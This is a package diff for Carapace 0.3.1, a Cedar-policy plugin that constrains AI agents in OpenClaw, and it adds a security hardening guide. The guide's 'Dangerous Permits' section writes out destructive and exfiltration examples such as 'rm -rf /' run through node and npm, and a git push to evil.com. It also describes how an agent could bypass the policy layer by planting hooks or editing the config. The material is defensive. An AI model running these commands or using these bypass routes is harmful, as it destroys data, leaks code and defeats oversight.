@clawdreyhepburn/carapace 0.3.0 → 0.3.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,544 @@
1
+ # Security Hardening Guide
2
+
3
+ Step-by-step instructions for locking down Carapace on macOS, Linux, and Windows. Copy-paste commands included.
4
+
5
+ **Read this first.** Carapace can't protect you if it's misconfigured or if the agent can reach around it. This guide walks you through every layer of defense.
6
+
7
+ ---
8
+
9
+ ## Table of Contents
10
+
11
+ - [Step 1: Enable the LLM Proxy](#step-1-enable-the-llm-proxy)
12
+ - [Step 2: Close the Tool Bypass Gap](#step-2-close-the-tool-bypass-gap)
13
+ - [Step 3: Protect OpenClaw System Directories](#step-3-protect-openclaw-system-directories)
14
+ - [Step 4: Protect Credentials](#step-4-protect-credentials)
15
+ - [Step 5: Restrict File Writing](#step-5-restrict-file-writing)
16
+ - [Step 6: Verify Your Setup](#step-6-verify-your-setup)
17
+ - [What Carapace Covers (and What It Doesn't)](#enforcement-coverage)
18
+ - [Dangerous Permits](#dangerous-permits)
19
+ - [Threat Model Spectrum](#threat-model-spectrum)
20
+
21
+ ---
22
+
23
+ ## Step 1: Enable the LLM Proxy
24
+
25
+ The LLM Proxy is the strongest enforcement mode. Carapace holds the real API key and intercepts every tool call the LLM suggests — before OpenClaw can execute it.
26
+
27
+ **Without the proxy, the agent can bypass Cedar by using built-in tools directly.**
28
+
29
+ ### Configuration
30
+
31
+ Add the Carapace plugin to your OpenClaw config (`~/.openclaw/openclaw.json`), under `plugins.entries`:
32
+
33
+ ```json
34
+ "carapace": {
35
+ "enabled": true,
36
+ "config": {
37
+ "proxy": {
38
+ "enabled": true,
39
+ "port": 19821,
40
+ "upstream": {
41
+ "anthropic": {
42
+ "apiKey": "sk-ant-your-real-api-key-here"
43
+ }
44
+ }
45
+ }
46
+ }
47
+ }
48
+ ```
49
+
50
+ For OpenAI models, use `"openai"` instead of `"anthropic"` in the upstream block.
51
+
52
+ Then run setup — it automatically points your LLM provider at the proxy:
53
+
54
+ ```bash
55
+ openclaw carapace setup
56
+ openclaw gateway restart
57
+ ```
58
+
59
+ ### API keys
60
+
61
+ Your existing `ANTHROPIC_API_KEY` or `OPENAI_API_KEY` environment variable still works — the proxy replaces the auth header when forwarding, so there's no conflict. You don't need to move any keys around.
62
+
63
+ If you want extra security, you can optionally move the key into the Carapace plugin config and unset the environment variable. This prevents the agent from reading the key via `printenv`. But it's not required for the proxy to work.
64
+
65
+ ---
66
+
67
+ ## Step 2: Close the Tool Bypass Gap
68
+
69
+ Even with the proxy, it's good defense-in-depth to deny the built-in tools that overlap with Carapace's Cedar-gated versions.
70
+
71
+ ### Automatic setup
72
+
73
+ If you already ran `openclaw carapace setup` in Step 1, this is already done — setup handles both the proxy baseUrl and the tool deny list. You can verify with:
74
+
75
+ ```bash
76
+ openclaw carapace check
77
+ # Expected: ✅ No bypass vulnerabilities found.
78
+ ```
79
+
80
+ If you skipped Step 1 or want to run it again:
81
+
82
+ ```bash
83
+ openclaw carapace setup
84
+ openclaw gateway restart
85
+ ```
86
+
87
+ This adds `exec`, `web_fetch`, and `web_search` to `tools.deny` in your config (and sets the proxy baseUrl if the proxy is enabled).
88
+
89
+ ### Manual setup
90
+
91
+ If you prefer to do it yourself:
92
+
93
+ **macOS / Linux:**
94
+
95
+ ```bash
96
+ # Check current config
97
+ cat ~/.openclaw/openclaw.json | python3 -c "
98
+ import sys, json
99
+ cfg = json.load(sys.stdin)
100
+ denied = cfg.get('tools', {}).get('deny', [])
101
+ print('Currently denied:', denied or '(none)')
102
+ for t in ['exec', 'web_fetch', 'web_search']:
103
+ print(f' {t}: {\"✅ denied\" if t in denied else \"⚠️ NOT denied\"}')"
104
+ ```
105
+
106
+ **Windows (PowerShell):**
107
+
108
+ ```powershell
109
+ $cfg = Get-Content "$env:USERPROFILE\.openclaw\openclaw.json" | ConvertFrom-Json
110
+ $denied = $cfg.tools.deny
111
+ @("exec", "web_fetch", "web_search") | ForEach-Object {
112
+ $status = if ($denied -contains $_) { "denied" } else { "NOT denied" }
113
+ Write-Host " $_`: $status"
114
+ }
115
+ ```
116
+
117
+ ### Verify
118
+
119
+ ```bash
120
+ openclaw carapace check
121
+ # Expected: ✅ No bypass vulnerabilities found.
122
+ ```
123
+
124
+ ---
125
+
126
+ ## Step 3: Protect OpenClaw System Directories
127
+
128
+ **This is critical.** If the agent can write to OpenClaw's hooks, extensions, or config directories, it can plant code that runs outside Cedar — no LLM involved, no proxy intercept.
129
+
130
+ ### What to protect
131
+
132
+ | Directory | Risk if writable |
133
+ |-----------|-----------------|
134
+ | `~/.openclaw/hooks/` | Agent plants a hook that runs `execSync()` on every message |
135
+ | `~/.openclaw/extensions/` | Agent installs a plugin with arbitrary code |
136
+ | `~/.openclaw/openclaw.json` | Agent disables Carapace or changes the provider URL |
137
+ | `~/.openclaw/cron/` | Agent creates cron jobs (less risky — they go through the LLM) |
138
+ | `<workspace>/BOOT.md` | Agent injects startup instructions (goes through LLM — lower risk) |
139
+ | `<workspace>/HEARTBEAT.md` | Agent injects heartbeat instructions (goes through LLM — lower risk) |
140
+
141
+ ### macOS
142
+
143
+ ```bash
144
+ # Make hook and extension directories immutable
145
+ # (create them first if they don't exist)
146
+ mkdir -p ~/.openclaw/hooks ~/.openclaw/extensions
147
+
148
+ # Remove write permission
149
+ chmod 555 ~/.openclaw/hooks
150
+ chmod 555 ~/.openclaw/extensions
151
+
152
+ # Protect the config file
153
+ chmod 444 ~/.openclaw/openclaw.json
154
+
155
+ # Verify
156
+ ls -la ~/.openclaw/openclaw.json ~/.openclaw/hooks ~/.openclaw/extensions
157
+ # Should show r-xr-xr-x for dirs, r--r--r-- for config
158
+
159
+ # To undo (when you need to make changes):
160
+ chmod 755 ~/.openclaw/hooks ~/.openclaw/extensions
161
+ chmod 644 ~/.openclaw/openclaw.json
162
+ ```
163
+
164
+ For stronger protection on macOS, use system flags:
165
+
166
+ ```bash
167
+ # Make truly immutable (survives chmod — needs sudo to undo)
168
+ sudo chflags schg ~/.openclaw/openclaw.json
169
+ sudo chflags schg ~/.openclaw/hooks
170
+ sudo chflags schg ~/.openclaw/extensions
171
+
172
+ # To undo:
173
+ sudo chflags noschg ~/.openclaw/openclaw.json
174
+ sudo chflags noschg ~/.openclaw/hooks
175
+ sudo chflags noschg ~/.openclaw/extensions
176
+ ```
177
+
178
+ ### Linux
179
+
180
+ ```bash
181
+ # Remove write permission
182
+ mkdir -p ~/.openclaw/hooks ~/.openclaw/extensions
183
+ chmod 555 ~/.openclaw/hooks
184
+ chmod 555 ~/.openclaw/extensions
185
+ chmod 444 ~/.openclaw/openclaw.json
186
+
187
+ # For stronger protection, use immutable attribute (needs root)
188
+ sudo chattr +i ~/.openclaw/openclaw.json
189
+ sudo chattr +i ~/.openclaw/hooks
190
+ sudo chattr +i ~/.openclaw/extensions
191
+
192
+ # Verify
193
+ lsattr ~/.openclaw/openclaw.json
194
+ # Should show: ----i----------- .openclaw/openclaw.json
195
+
196
+ # To undo:
197
+ sudo chattr -i ~/.openclaw/openclaw.json
198
+ sudo chattr -i ~/.openclaw/hooks
199
+ sudo chattr -i ~/.openclaw/extensions
200
+ ```
201
+
202
+ ### Windows
203
+
204
+ ```powershell
205
+ # Make config read-only
206
+ Set-ItemProperty "$env:USERPROFILE\.openclaw\openclaw.json" -Name IsReadOnly -Value $true
207
+
208
+ # Protect directories with ACL (deny write for the agent's user)
209
+ # Replace AGENT_USER with the Windows user running OpenClaw
210
+ $acl = Get-Acl "$env:USERPROFILE\.openclaw\hooks"
211
+ $rule = New-Object System.Security.AccessControl.FileSystemAccessRule(
212
+ "AGENT_USER", "Write,Delete,CreateFiles", "ContainerInherit,ObjectInherit", "None", "Deny"
213
+ )
214
+ $acl.AddAccessRule($rule)
215
+ Set-Acl "$env:USERPROFILE\.openclaw\hooks" $acl
216
+
217
+ # Repeat for extensions
218
+ $acl = Get-Acl "$env:USERPROFILE\.openclaw\extensions"
219
+ $acl.AddAccessRule($rule)
220
+ Set-Acl "$env:USERPROFILE\.openclaw\extensions" $acl
221
+
222
+ # Verify
223
+ Get-ItemProperty "$env:USERPROFILE\.openclaw\openclaw.json" | Select-Object IsReadOnly
224
+ Get-Acl "$env:USERPROFILE\.openclaw\hooks" | Format-List
225
+
226
+ # To undo:
227
+ Set-ItemProperty "$env:USERPROFILE\.openclaw\openclaw.json" -Name IsReadOnly -Value $false
228
+ ```
229
+
230
+ ---
231
+
232
+ ## Step 4: Protect Credentials
233
+
234
+ The agent shouldn't be able to read API keys, SSH keys, or secrets.
235
+
236
+ ### macOS
237
+
238
+ ```bash
239
+ # Protect SSH keys
240
+ chmod 600 ~/.ssh/id_*
241
+ chmod 700 ~/.ssh
242
+
243
+ # Protect AWS credentials
244
+ chmod 600 ~/.aws/credentials ~/.aws/config 2>/dev/null
245
+
246
+ # Protect environment files
247
+ find ~ -maxdepth 3 -name ".env" -exec chmod 600 {} \; 2>/dev/null
248
+ find ~ -maxdepth 3 -name ".env.*" -exec chmod 600 {} \; 2>/dev/null
249
+
250
+ # If running the agent as a separate user (recommended for production):
251
+ # The agent user shouldn't be in your group or have read access to your home
252
+ sudo dscl . -create /Users/openclaw-agent
253
+ # ... (full user creation depends on your setup)
254
+ ```
255
+
256
+ ### Linux
257
+
258
+ ```bash
259
+ # Protect SSH keys
260
+ chmod 600 ~/.ssh/id_*
261
+ chmod 700 ~/.ssh
262
+
263
+ # Protect AWS credentials
264
+ chmod 600 ~/.aws/credentials ~/.aws/config 2>/dev/null
265
+
266
+ # Protect environment files
267
+ find ~ -maxdepth 3 -name ".env" -exec chmod 600 {} \; 2>/dev/null
268
+
269
+ # If running as a separate user (recommended):
270
+ sudo useradd -r -s /bin/nologin openclaw-agent
271
+ # Run OpenClaw as openclaw-agent — it won't have access to your home directory
272
+ ```
273
+
274
+ ### Windows
275
+
276
+ ```powershell
277
+ # Protect SSH keys (remove inheritance, restrict to current user)
278
+ $sshDir = "$env:USERPROFILE\.ssh"
279
+ if (Test-Path $sshDir) {
280
+ Get-ChildItem "$sshDir\id_*" | ForEach-Object {
281
+ icacls $_.FullName /inheritance:r /grant "${env:USERNAME}:R"
282
+ }
283
+ }
284
+
285
+ # Protect AWS credentials
286
+ $awsCreds = "$env:USERPROFILE\.aws\credentials"
287
+ if (Test-Path $awsCreds) {
288
+ icacls $awsCreds /inheritance:r /grant "${env:USERNAME}:R"
289
+ }
290
+ ```
291
+
292
+ ### Cedar policies for credential protection
293
+
294
+ In addition to OS-level permissions, add these Cedar forbids:
295
+
296
+ ```cedar
297
+ // Block tools that access credential stores
298
+ forbid(principal, action == Jans::Action::"exec_command", resource == Jans::Shell::"security");
299
+ forbid(principal, action == Jans::Action::"exec_command", resource == Jans::Shell::"ssh-keygen");
300
+ forbid(principal, action == Jans::Action::"exec_command", resource == Jans::Shell::"gpg");
301
+ forbid(principal, action == Jans::Action::"exec_command", resource == Jans::Shell::"op");
302
+ forbid(principal, action == Jans::Action::"exec_command", resource == Jans::Shell::"pass");
303
+ forbid(principal, action == Jans::Action::"exec_command", resource == Jans::Shell::"cmdkey");
304
+ forbid(principal, action == Jans::Action::"exec_command", resource == Jans::Shell::"certutil");
305
+
306
+ // Block reading sensitive paths (if using cat/read_file)
307
+ forbid(
308
+ principal,
309
+ action == Jans::Action::"exec_command",
310
+ resource == Jans::Shell::"cat"
311
+ ) when {
312
+ context.args like "*/.ssh/*" ||
313
+ context.args like "*/.aws/*" ||
314
+ context.args like "*/.env*" ||
315
+ context.args like "*/.openclaw/credentials/*" ||
316
+ context.args like "*/.gnupg/*"
317
+ };
318
+ ```
319
+
320
+ ---
321
+
322
+ ## Step 5: Restrict File Writing
323
+
324
+ If the agent can write files, it can plant hooks, modify configs, or create exfiltration scripts. Even with the proxy catching tool calls, an agent with `filesystem/write_file` access can write to dangerous paths.
325
+
326
+ ### Cedar policies
327
+
328
+ ```cedar
329
+ // Option A: Block write_file entirely
330
+ forbid(
331
+ principal,
332
+ action == Jans::Action::"call_tool",
333
+ resource == Jans::Tool::"filesystem/write_file"
334
+ );
335
+
336
+ // Option B: Block shell write commands to critical paths
337
+ forbid(principal, action == Jans::Action::"exec_command", resource == Jans::Shell::"tee")
338
+ when { context.args like "*/.openclaw/*" };
339
+ forbid(principal, action == Jans::Action::"exec_command", resource == Jans::Shell::"cp")
340
+ when { context.args like "*/.openclaw/*" };
341
+ forbid(principal, action == Jans::Action::"exec_command", resource == Jans::Shell::"mv")
342
+ when { context.args like "*/.openclaw/*" };
343
+ ```
344
+
345
+ ### Sandbox the workspace (advanced)
346
+
347
+ For maximum isolation, run the agent in a restricted environment:
348
+
349
+ **macOS (sandbox-exec — deprecated but functional):**
350
+
351
+ ```bash
352
+ # Create a sandbox profile that restricts writes
353
+ cat > /tmp/openclaw-sandbox.sb << 'EOF'
354
+ (version 1)
355
+ (allow default)
356
+ (deny file-write*
357
+ (subpath (string-append (param "HOME") "/.openclaw/hooks"))
358
+ (subpath (string-append (param "HOME") "/.openclaw/extensions"))
359
+ (literal (string-append (param "HOME") "/.openclaw/openclaw.json"))
360
+ (subpath (string-append (param "HOME") "/.ssh"))
361
+ )
362
+ EOF
363
+
364
+ # Run OpenClaw in the sandbox
365
+ sandbox-exec -f /tmp/openclaw-sandbox.sb -D HOME="$HOME" openclaw gateway start
366
+ ```
367
+
368
+ **Linux (firejail):**
369
+
370
+ ```bash
371
+ # Install firejail
372
+ sudo apt install firejail # Debian/Ubuntu
373
+ sudo dnf install firejail # Fedora
374
+
375
+ # Create a Carapace profile
376
+ cat > ~/.config/firejail/openclaw.profile << 'EOF'
377
+ include /etc/firejail/default.profile
378
+ read-only ${HOME}/.openclaw/hooks
379
+ read-only ${HOME}/.openclaw/extensions
380
+ read-only ${HOME}/.openclaw/openclaw.json
381
+ read-only ${HOME}/.ssh
382
+ read-only ${HOME}/.aws
383
+ blacklist ${HOME}/.gnupg/private-keys-v1.d
384
+ EOF
385
+
386
+ # Run OpenClaw sandboxed
387
+ firejail --profile=openclaw openclaw gateway start
388
+ ```
389
+
390
+ **Linux (Docker — strongest isolation):**
391
+
392
+ ```bash
393
+ # Run OpenClaw in a container with read-only mounts for sensitive paths
394
+ docker run -d \
395
+ --name openclaw \
396
+ -v ~/.openclaw/openclaw.json:/home/agent/.openclaw/openclaw.json:ro \
397
+ -v ~/.openclaw/hooks:/home/agent/.openclaw/hooks:ro \
398
+ -v ~/.openclaw/extensions:/home/agent/.openclaw/extensions:ro \
399
+ -v ~/.openclaw/workspace:/home/agent/.openclaw/workspace \
400
+ -p 19820:19820 \
401
+ -p 19821:19821 \
402
+ openclaw/openclaw
403
+ ```
404
+
405
+ **Windows (restricted user):**
406
+
407
+ ```powershell
408
+ # Create a restricted user for the agent
409
+ net user openclaw-agent RandomP@ss123 /add
410
+ # Remove from Administrators, add to Users only
411
+ net localgroup Users openclaw-agent /add
412
+
413
+ # Run OpenClaw as the restricted user
414
+ runas /user:openclaw-agent "openclaw gateway start"
415
+
416
+ # The restricted user won't have write access to your profile directories
417
+ # You may need to grant read access to the OpenClaw config
418
+ icacls "$env:USERPROFILE\.openclaw\openclaw.json" /grant "openclaw-agent:R"
419
+ ```
420
+
421
+ ---
422
+
423
+ ## Step 6: Verify Your Setup
424
+
425
+ Run this checklist after completing the steps above.
426
+
427
+ ### Quick check (all platforms)
428
+
429
+ ```bash
430
+ # 1. Is the proxy running?
431
+ curl http://127.0.0.1:19821/health
432
+ # Expected: {"ok":true,"stats":{...}}
433
+
434
+ # 2. Are bypass tools denied?
435
+ openclaw carapace check
436
+ # Expected: ✅ No bypass vulnerabilities found.
437
+
438
+ # 3. Is the config protected?
439
+ # macOS/Linux:
440
+ ls -la ~/.openclaw/openclaw.json
441
+ # Expected: r--r--r-- (read-only)
442
+
443
+ # 4. Are hooks/extensions protected?
444
+ ls -la ~/.openclaw/hooks ~/.openclaw/extensions
445
+ # Expected: r-xr-xr-x (no write)
446
+ ```
447
+
448
+ ### Windows quick check
449
+
450
+ ```powershell
451
+ # 1. Is the proxy running?
452
+ Invoke-RestMethod http://127.0.0.1:19821/health
453
+
454
+ # 2. Are bypass tools denied?
455
+ openclaw carapace check
456
+
457
+ # 3. Is the config read-only?
458
+ (Get-ItemProperty "$env:USERPROFILE\.openclaw\openclaw.json").IsReadOnly
459
+ # Expected: True
460
+ ```
461
+
462
+ ### Full security audit
463
+
464
+ ```bash
465
+ # Run the adversarial test suite (requires the repo)
466
+ cd carapace && npx tsx test/test-adversarial.mjs
467
+ # Expected: 0 BROKEN, 30 HELD
468
+ ```
469
+
470
+ ---
471
+
472
+ <a id="enforcement-coverage"></a>
473
+ ## What Carapace Covers (and What It Doesn't)
474
+
475
+ | Execution path | Goes through Cedar? | Notes |
476
+ |---|---|---|
477
+ | Agent tool calls via LLM | ✅ Yes (proxy) | The main enforcement point |
478
+ | Cron job agent turns | ✅ Yes (proxy) | Same LLM provider config |
479
+ | Sub-agent sessions | ✅ Yes (proxy) | Same LLM provider config |
480
+ | Heartbeat agent turns | ✅ Yes (proxy) | Same LLM provider config |
481
+ | BOOT.md instructions | ✅ Yes (proxy) | Processed by agent runner |
482
+ | Hooks (handler.ts) | ❌ **No** | Run in-process, no LLM |
483
+ | Plugins (extensions) | ❌ **No** | Run in-process, trusted code |
484
+ | OS-level cron (crontab) | ❌ **No** | Outside OpenClaw entirely |
485
+ | Spawned child processes | ❌ **No** | From permitted binaries |
486
+
487
+ **The bottom line:** With the LLM proxy enabled, Carapace covers everything that flows through the LLM. The gaps are code that runs directly — hooks, plugins, and child processes of permitted binaries. For those, use the OS-level protections described above.
488
+
489
+ ---
490
+
491
+ ## Dangerous Permits
492
+
493
+ Some permits look safe but grant far more access than you'd expect. From our [adversarial test suite](../test/test-adversarial.mjs):
494
+
495
+ ### Language runtimes = skeleton keys
496
+
497
+ `node`, `python3`, `ruby`, `perl`, `deno`, `bun`, `php`
498
+
499
+ Permitting any of these is permitting **everything**. `node -e "require('child_process').execSync('rm -rf /')"` runs `rm` inside node — Carapace only sees `Shell::"node"`.
500
+
501
+ ### Package managers = unrestricted shell
502
+
503
+ `npm`, `pip`, `gem`, `cargo`, `go`, `brew`
504
+
505
+ `npm exec -- rm -rf /` runs arbitrary binaries. `npm publish` can exfiltrate your entire project.
506
+
507
+ ### Git = exfiltration channel
508
+
509
+ `git push https://evil.com/exfil.git` sends your code anywhere. `git clone` with malicious hooks executes arbitrary code.
510
+
511
+ ### File readers = secret access
512
+
513
+ `cat`, `less`, `head`, `tail` + `filesystem/read_file`
514
+
515
+ Any of these with no path restrictions can read `~/.ssh/id_rsa`, `~/.aws/credentials`, etc.
516
+
517
+ ### Permitted domains = exfiltration channels
518
+
519
+ Any API that accepts POST data (`api.github.com/gists`, S3, etc.) can be used to exfiltrate data. Use `context.method == "GET"` conditions for read-only API access.
520
+
521
+ ---
522
+
523
+ <a id="threat-model-spectrum"></a>
524
+ ## Threat Model Spectrum
525
+
526
+ | Permit | Risk | What it enables |
527
+ |--------|------|----------------|
528
+ | `ls`, `echo`, `date`, `wc` | Low | Read-only, limited scope |
529
+ | `cat`, `grep`, `find`, `head` | Medium | Read any file on disk |
530
+ | `git`, `npm`, `curl`, `wget` | High | File reads + network exfiltration |
531
+ | `node`, `python3`, `bash`, `sh` | **Critical** | Arbitrary code execution |
532
+ | `rm`, `sudo`, `chmod`, `mkfs` | **Destructive** | Irreversible system damage |
533
+
534
+ **Every permit expands the blast radius.** Start with the minimum and add more only when the agent demonstrably needs them.
535
+
536
+ ---
537
+
538
+ ## Further Reading
539
+
540
+ - [Recommended Policies](RECOMMENDED-POLICIES.md) — use-case-specific Cedar policy examples
541
+ - [Cedar for AI Agents blog series](https://clawdrey.com/blog/cedar-for-ai-agents-part-1-why-your-ai-agent-needs-a-policy-language.html)
542
+ - [Cedar Language Reference](https://docs.cedarpolicy.com/)
543
+ - [Adversarial test suite](../test/test-adversarial.mjs) — 30 bypass attempts, 0 broken
544
+ - [Carapace README](../README.md)
@@ -2,7 +2,7 @@
2
2
  "id": "carapace",
3
3
  "name": "Carapace",
4
4
  "description": "Immutable policy boundaries for MCP tool access. Your agent's exoskeleton.",
5
- "version": "0.1.0",
5
+ "version": "0.3.0",
6
6
  "configSchema": {
7
7
  "type": "object",
8
8
  "additionalProperties": false,
@@ -45,6 +45,31 @@
45
45
  "type": "boolean",
46
46
  "default": false,
47
47
  "description": "Run cvc5 formal verification on policy changes"
48
+ },
49
+ "proxy": {
50
+ "type": "object",
51
+ "description": "LLM proxy settings — intercepts tool_use blocks and enforces Cedar policies before OpenClaw sees them",
52
+ "properties": {
53
+ "enabled": {
54
+ "type": "boolean",
55
+ "default": false,
56
+ "description": "Enable the LLM API proxy"
57
+ },
58
+ "port": {
59
+ "type": "number",
60
+ "default": 19821,
61
+ "description": "Port for the LLM proxy server"
62
+ },
63
+ "upstream": {
64
+ "type": "string",
65
+ "default": "https://api.anthropic.com",
66
+ "description": "Upstream LLM API base URL"
67
+ },
68
+ "apiKey": {
69
+ "type": "string",
70
+ "description": "API key for the upstream provider (moved here so the agent never sees it)"
71
+ }
72
+ }
48
73
  }
49
74
  }
50
75
  },
@@ -52,6 +77,10 @@
52
77
  "guiPort": { "label": "GUI Port", "placeholder": "19820" },
53
78
  "policyDir": { "label": "Policy Directory" },
54
79
  "defaultPolicy": { "label": "Default Policy for New Tools" },
55
- "verify": { "label": "Enable Formal Verification" }
80
+ "verify": { "label": "Enable Formal Verification" },
81
+ "proxy.enabled": { "label": "Enable LLM Proxy" },
82
+ "proxy.port": { "label": "Proxy Port", "placeholder": "19821" },
83
+ "proxy.upstream": { "label": "Upstream API URL" },
84
+ "proxy.apiKey": { "label": "Upstream API Key", "sensitive": true }
56
85
  }
57
86
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@clawdreyhepburn/carapace",
3
- "version": "0.3.0",
3
+ "version": "0.3.1",
4
4
  "description": "Immutable policy boundaries for MCP tool access. Powered by Cedar + Cedarling WASM.",
5
5
  "license": "Apache-2.0",
6
6
  "type": "module",